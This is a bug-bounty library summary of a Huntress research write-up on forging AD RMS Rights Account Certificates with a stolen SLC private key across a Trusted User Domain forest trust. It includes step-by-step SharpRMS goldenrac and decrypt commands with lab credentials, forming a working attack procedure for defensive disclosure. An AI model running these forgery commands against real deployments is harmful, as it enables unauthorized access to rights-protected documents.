# AD RMS Part 3: The Forgery Crosses the Trust

Stolen AD RMS SLC private key forges a Rights Account Certificate for a foreign deployment's own user, which issues a use license via Trusted User Domain trust.

- Payout: Research
- Severity: high
- Program: AD RMS
- Write-up by: Huntress
- Disclosed: 1970-01-01
- Write-up quality: 9/10
- Original: https://www.huntress.com/blog/ad-rms-the-forgery-crosses-the-trust
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-ad-rms-the-forgery-crosses-the-trust
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:threat-intel sev:high tech:windows technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:secrets-leak

**Target:** AD RMS licensing endpoint (/_wmcs) across a forest trust
**Root cause:** A Trusted User Domain makes deployment B honor any RAC signed by A's SLC public cert; B binds identity from the certificate, not the authenticating account, so a forged RAC signed with A's stolen private key is licensed as any user, including B's own.
**Steps:**
1. Obtain deployment A's SLC private key (Part 2 export).
2. Confirm forest trust reachable: `nltest /domain_trusts /all_trusts` shows two-way forest-transitive trust to B.
3. Forge a RAC for B's own user (e.g. johnny.sack) signed with A's stolen key, copying a genuine RAC's issuer block: `./SharpRMS.exe goldenrac /keyfile:slc.bin /template:forged_rac.xml /infile:NY_TEST_DOCUMENT.docx /server:http://avernasocial.newyork.sopranos.local /user:NEWJERSEY\paulie.gualtieri /password:Gabagool123! /target:[email protected] /sid:S-1-5-21-1432269242-3701569443-26560649-1108`
4. B issues a use license for the forged identity; decrypt offline: `./SharpRMS.exe decrypt /keyfile:ny_forged.bin /infile:NY_TEST_DOCUMENT.docx /uselicense:ny_uselicense.xml /outfile:ny_recovered.docx`
5. Reproduces with TPD stripped, leaving only the TUD; default TUD trusts all email domains so @newyork email alone suffices.
**How found:** Reasoned that TUD transfers only A's public cert while TPD transfers A's private key, so in an already-stolen-key scenario the public-cert trust is the blast-radius multiplier; tested by importing only the TUD and forging B's own user, then stripping the TPD to rule out cached/key-material explanations.
**Exploitation:** Attacker holding A's SLC private key, from a low-privilege A account, authenticates across the forest trust to B's licensing endpoint and presents a forged RAC naming B's own user. B validates the chain against A's public SLC (imported as TUD), issues a use license sealed to the forged keypair, and the attacker decrypts B's document offline. No B privilege or B key material needed.
**Escalation:** Forging B's own owner (johnny.sack) rather than the shared grantee opens a B document shared to no one in A; symmetric trust allows reverse direction; Everyone-shared/group docs widen reach.
**Insight:** When a trust imports only a public cert (TUD), the trusting side binds identity from the presented certificate, not the authenticated caller — so a stolen signing key on the trusted side forges identities in the trusting side's own namespace, especially with default all-email-domain TUD scope.

## Proof of concept (copied exactly from the original report)

**Cross-forest goldenrac forging johnny.sack against New York**

```
./SharpRMS.exe goldenrac /keyfile:slc.bin 
/template:forged_rac.xml /infile:NY_TEST_DOCUMENT.docx 
/server:http://avernasocial.newyork.sopranos.local 
/user:NEWJERSEY\paulie.gualtieri /password:Gabagool123! 
/target:[email protected] /sid:S-1-5-21-1432269242-3701569443-26560649-1108
```

**Post-strip goldenrac with only Trusted User Domain**

```
.\SharpRMS.exe goldenrac /keyfile:slc.bin /template:forged_rac.xml 
/infile:NY_TEST_DOCUMENT.docx 
/server:http://avernasocial.newyork.sopranos.local /user:NEWJERSEY\paulie.gualtieri /password:Gabagool123! 
/target:[email protected]
/sid:S-1-5-21-1432269242-3701569443-26560649-1108
```

**Local goldenrac forge-and-acquire primitive**

```
./SharpRMS.exe goldenrac /keyfile:slc.bin 
/template:forged_rac.xml /infile:BOARD_MINUTES_2026.docx 
/server:http://vesuvio.newjersey.sopranos.local 
/target:[email protected]
/sid:S-1-5-21-877797059-2172394321-2911316366-1109
```

